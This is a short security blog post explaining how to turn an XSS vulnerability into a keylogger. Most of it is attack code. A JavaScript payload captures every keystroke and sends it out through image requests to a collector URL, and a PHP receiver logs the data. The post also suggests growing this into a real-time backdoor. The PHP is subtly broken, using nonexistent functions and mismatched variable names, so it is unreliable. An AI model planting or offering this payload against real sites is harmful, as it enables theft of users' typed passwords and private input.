HOW DO YOU USE AN XSS AS A KEYLOGGER ?

SECURITY PAPER

10/04/2019

Ismail Tasdelen

HOW DO YOU USE AN XSS AS A KEYLOGGER ?

Today I will be talking about how to use an xss vulnerability as a keylogger.oday I will be talking about how to use an xss vulnerability as a keylogger.

```javascript
var buffer = [];
var url = 'http://localhost/?q='

document.onkeypress = function(e) {
    var timestamp = Date.now() | 0;
    var stroke = {
        k: e.key,
        t: timestamp
    };
    buffer.push(stroke);
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(JSON.stringify(buffer));
        new Image().src = url + data;
        buffer = [];
    }
}, 200);
```

Using javascript on a php server. You can create a keylogger server.

```php
<?php
if(!empty($_GET['q'])) {
    $logfile = fopen('data.txt', 'a+');
    file_write($log_file, $_GET['q']);
    file_close($log_file);
}
?>
```

This story cover a very small part of what a JavaScript backdoor is able to achieve. A good improvement would be to monitor mouse position and DOM element and send everything to the attacker in real-time using WebSockets.

Have a great day.
Ismail Tasdelen

TALK TO US

Linkedin : https://www.linkedin.com/in/ismailtasdelen
GitHub : https://github.com/ismailtasdelen
Twitter : https://twitter.com/ismailtsdln
KeyBase : https://keybase.io/ismailtasdelen
Mail : ismailtasdelen@protonmail.com